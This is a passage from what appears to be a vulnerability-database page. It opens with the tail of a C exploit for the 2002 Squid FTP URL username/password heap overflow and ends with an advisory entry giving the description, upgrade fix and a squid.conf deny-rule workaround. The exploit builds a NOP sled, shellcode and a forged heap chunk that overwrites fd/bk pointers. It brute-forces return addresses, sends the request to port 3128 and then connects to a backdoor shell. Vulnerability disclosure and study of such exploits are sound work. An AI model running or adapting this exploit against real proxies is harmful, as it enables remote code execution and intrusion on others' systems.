        user[ USERLEN ] = 0;

        memset( pass, 0x7e, PASSLEN );
        pass[ PASSLEN  ] = 0 ;

        len = 64 + strlen( user ) + strlen( pass ) + strlen( host ) + URLLEN;
        t = (char *)malloc( len );

        memset( evil, 0x00, sizeof(evil));
        memset( nops, 0xeb, sizeof(nops));
        memset( url, 0x41, sizeof(url));
        /**
         ** that's because 0x27 act as a nop
         **/
        for ( i=1; i < sizeof(nops) ; i+=2 )
                nops[ i ] = 0x27 ;

        nops[ nopnum - strlen(ht[c].code) - 8 ] = 0 ;

        snprintf( evil, sizeof(evil)-1, "Accept: %s%s%s\r\n\r\n", nops, SMARTJUMP, ht[c].code);

        for ( retaddr=(brute ? BRUTE_START : tg[n].retaddr ); retaddr <= (brute ? BRUTE_END : tg[n].retaddr ); reta
ddr += step )
        {
                memset( t, 0x0, len );

                fprintf(stdout,"[+] Using retaddr=0x%.8x retloc=0x%.8x code=%d step=%d\n",
                                (u_int)retaddr, (u_int)tg[n].retloc,
                                strlen(ht[c].code), step);

                *(long *)&url[0]        = 0x4142432f            ; /* dummy      */
                *(long *)&url[4]        = 0xfffffffc            ; /* prevsize   */
                *(long *)&url[8]        = 0xfffffffc            ; /* size field */
                *(long *)&url[12]       = 0xdeadbeef            ; /* dummy      */
                *(long *)&url[16]       = tg[n].retloc - 12     ; /* fd         */
                *(long *)&url[20]       = retaddr               ; /* bk         */
                url[ URLLEN ] = 0 ;

                debug("[*] Using host=%d user=%d url=%d pass=%d\n",
                        strlen(host), strlen(user),
                        strlen(url), strlen(pass));

                debug("[*] Using buffer_len=%d real_malloced_size=%d\n",
                        len, request2size( len ));

                strcat( t, "GET " );
                strcat( t, "ftp://" );
                strcat( t, user );
                strcat( t, ":" );
                strcat( t, pass );
                strcat( t, "@" );
                strcat( t, host );
                strcat( t, url );
                strcat( t, " HTTP/1.0\r\n" );

                debug("[*] Using string=%d evil=%d\n", strlen(t), strlen(evil));

                if ( (s = connect_to_host( ip, 3128 )) == -1 ) {
                        fprintf(stderr, "[-] Could not connect to host %s\n", victim );
                        return -1;
                }

                net_write( s, t, strlen(t) );
                net_write( s, evil, strlen(evil) );

                if (( brute ) && !(brute++ % 5) )
                        wait_dots( 22 );
                else
                        wait_dots( 12 );

                close( s );
                sleep( 1 );

                if ( ht[c].flag & CONNECT_TO )
                {
                        int y = connect_to_host( ip, ht[c].port );
                        fprintf( stdout, "[+] Trying connecting to the backdoor\n");
                        if ( y > 0 ) shell( y );
                }
                fprintf(stdout, "[+] I did not work.\n");
        }

        return 1;
}


		

- 漏洞信息

5378
Squid FTP URL Special Character Handling Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity, Loss of Availability Upgrade
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

A remote overflow exists in the Squid Web Proxy Cache. The Squid program fails to validate special characters in the username and password fields of ftp:// requests resulting in a buffer overflow. With a specially crafted request, an attacker can cause DoS or even execution of code resulting in a loss of availability in most cases.

- 时间线

2002-02-21 2002-02-21
Unknow Unknow

- 解决方案

Upgrade to version Squid-2.4.STABLE4 or higher, as it has been reported to fix this vulnerability. It is also possible to correct the flaw by implementing the following workaround(s): The FTP issue can be worked around by denying access to non-anonymous FTP via Squid. Insert the following two lines at the top of your squid.conf: acl non-anonymous-ftp url_regex -i ^ftp://[^/@]*@ http_access deny non-anonymous-ftp

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站